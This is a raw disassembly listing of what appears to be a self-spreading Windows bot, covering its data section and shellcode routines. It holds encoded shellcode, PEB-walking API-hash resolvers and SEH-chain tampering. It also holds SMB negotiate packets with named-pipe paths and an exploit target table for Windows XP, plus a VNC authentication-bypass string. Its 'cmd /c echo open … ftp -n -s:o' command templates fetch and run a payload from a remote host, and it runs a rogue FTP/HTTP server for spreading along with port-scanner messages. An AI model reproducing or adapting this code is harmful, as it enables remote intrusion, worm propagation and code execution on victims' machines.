		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_437280	db  2Dh	; -		; DATA XREF: sub_40BACD+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_4372B0	db  2Dh	; -		; DATA XREF: sub_40BACD+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4372E4	db  2Dh	; -		; DATA XREF: sub_40BACD+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_437318	db  2Dh	; -		; DATA XREF: sub_40BACD+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_43734C	db  2Dh	; -		; DATA XREF: sub_40C124+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_437374	db  2Dh	; -		; DATA XREF: sub_40C124+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4373AC	db  2Dh	; -		; DATA XREF: sub_40C124+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4373EC	db  2Dh	; -		; DATA XREF: sub_40C124+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_437424	db  2Dh	; -		; DATA XREF: sub_40C124+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_437458	db  2Dh	; -		; DATA XREF: sub_40C124+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_43748C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59B+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADA+B2o
		align 10h
dword_437540	dd 10FF8h, 0		; DATA XREF: sub_40CADA+6Ao
dword_437548	dd 10FF8h		; DATA XREF: sub_40CADA+79o
dword_43754C	dd 7FFDF020h, 0		; DATA XREF: sub_40CADA+162o
dword_437554	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF04+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4375DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF04+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43760C	dd 0			; DATA XREF: sub_40CF04+44o
		dd 800000D4h, 0
unk_437618	db  81h	; 		; DATA XREF: sub_40CFDE+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_437664	db 41h			; DATA XREF: sub_40D07C+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4376A8	proc near		; DATA XREF: ___:0040D35Bo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4377A4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4377BA
		mov	[esi+8], eax
		call	sub_43776D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4377BA
		mov	[esi+0Ch], eax
		call	sub_43771F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4377BA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4376A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43771F	proc near		; CODE XREF: sub_4376A8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_437748
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43771F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_437748	proc near		; CODE XREF: sub_43771F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_437757:				; CODE XREF: sub_437748+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_437764
		inc	ebx
		jmp	short loc_437757
; ---------------------------------------------------------------------------


loc_437764:				; CODE XREF: sub_437748+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_437748	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43776D	proc near		; CODE XREF: sub_4376A8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_437785:				; CODE XREF: sub_43776D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43778D
		mov	ecx, [ecx]
		jmp	short loc_437785
; ---------------------------------------------------------------------------


loc_43778D:				; CODE XREF: sub_43776D+1Aj
		mov	edx, edi


loc_43778F:				; CODE XREF: sub_43776D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_437799
		mov	edx, [edx+4]
		jmp	short loc_43778F
; ---------------------------------------------------------------------------


loc_437799:				; CODE XREF: sub_43776D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43776D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4377A4	proc near		; CODE XREF: sub_4376A8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4377A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4377BA	proc near		; CODE XREF: sub_4376A8+16p
					; sub_4376A8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4377D0:				; CODE XREF: sub_4377BA+33j
		jecxz	short loc_43780A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4377DD:				; CODE XREF: sub_4377BA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4377E9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4377DD
; ---------------------------------------------------------------------------


loc_4377E9:				; CODE XREF: sub_4377BA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4377D0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_43780A:				; CODE XREF: sub_4377BA:loc_4377D0j
					; sub_4377BA:loc_43780Aj
		jmp	short loc_43780A
sub_4377BA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437810	proc near		; DATA XREF: ___:0040D309o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_437862
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43782D:				; CODE XREF: sub_437810+38j
		jecxz	short loc_43785D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_437838:				; CODE XREF: sub_437810+32j
		lodsb
		test	al, al
		jz	short loc_437844
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_437838
; ---------------------------------------------------------------------------


loc_437844:				; CODE XREF: sub_437810+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43782D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43785D:				; CODE XREF: sub_437810:loc_43782Dj
		mov	[esp+arg_0], ebx
		retn
sub_437810	endp


; =============== S U B	R O U T	I N E =======================================



sub_437862	proc near		; CODE XREF: sub_437810+7p

; FUNCTION CHUNK AT 0043789A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43787B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_437886
; ---------------------------------------------------------------------------


loc_43787B:				; CODE XREF: sub_437862+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_437886:				; CODE XREF: sub_437862+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43789A
sub_437862	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43788D	proc near		; CODE XREF: sub_437862:loc_43789Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43788D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437862


loc_43789A:				; CODE XREF: sub_437862+29j
		call	sub_43788D


loc_43789F:				; DATA XREF: sub_40CADA+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_437862
; ---------------------------------------------------------------------------
		dw 0
dword_4378A4	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o
dword_4378B0	dd 0A1h			; DATA XREF: sub_40CADA+29Fo
dword_4378B4	dd 3			; DATA XREF: sub_40CADA+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADA+153o
		align 10h


loc_4378C0:				; DATA XREF: sub_40CADA+E8o
		jmp	short near ptr dword_4378C8
; ---------------------------------------------------------------------------
		align 8
dword_4378C8	dd 0			; CODE XREF: ___:loc_4378C0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D330o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_437930	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo
; ---------------------------------------------------------------------------


loc_43793C:				; CODE XREF: ___:00437946j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43793C
		inc	edi
		jz	short loc_437983
		and	eax, 952CE753h
		inc	esp
		jle	short loc_4379AB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_437983:				; CODE XREF: ___:00437949j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4379E2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_4379A8:				; CODE XREF: ___:004379D5j
		xor	[esi-25h], bl


loc_4379AB:				; CODE XREF: ___:00437951j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4379C4:				; CODE XREF: ___:004379F7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_4379A8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_4379E2:				; CODE XREF: ___:00437989j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_437A6E
		jo	short loc_4379C4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_437A05+1
		add	bl, [edi]


loc_437A05:				; CODE XREF: ___:00437A01j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_437A1A+2
		cmp	ch, bh
		dec	edx


loc_437A1A:				; CODE XREF: ___:00437A15j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_437A6E:				; CODE XREF: ___:004379F5j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_437AF4
		sub	al, 0BCh
		jmp	near ptr 54457E62h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_437A90	dd 0EFFFC481h, 44FFFFh,	437ADCh	; DATA XREF: ___:0040DC32o
dword_437A9C	dd 42Ah			; DATA XREF: ___:0040DBE5r
dword_437AA0	dd 3E8h			; DATA XREF: ___:0040DC56r
dword_437AA4	dd 258h			; DATA XREF: ___:0040DC28r
byte_437AA8	db 1			; DATA XREF: ___:0040DB91r
					; ___:0040DC5Fr
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_437AC0	dd 20804h		; DATA XREF: sub_40D89Fr ___:0040DC7Do ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00437AACo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_437AF4:				; CODE XREF: ___:00437A78j
		push	eax
		xor	al, 29h


loc_437AF7:				; DATA XREF: ___:0040DBB9o
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_437B00	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:0040DAE9o
dword_437B14	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:0040DA8Do
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co
		align 4
aSIpc		db '\\%s\ipc$',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40DFE2+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_437BBC	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
		align 10h
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
		align 10h
word_438E00	dw 1			; DATA XREF: ___:0040E210r
		align 4
dword_438E04	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_419C64+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
aFtpTransferCom	db 'ftp transfer complete to: %s',0
		align 4
a226TransferCom	db '226 Transfer complete.',0Ah,0
aFtpTransferSta	db 'ftp transfer started to: %s',0
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
		align 4
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferC_0	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:0043D560o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:0043D56Co
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aSS_3		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4390E4	db  2Dh	; -		; DATA XREF: sub_40F0D5+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43910C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_439364	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
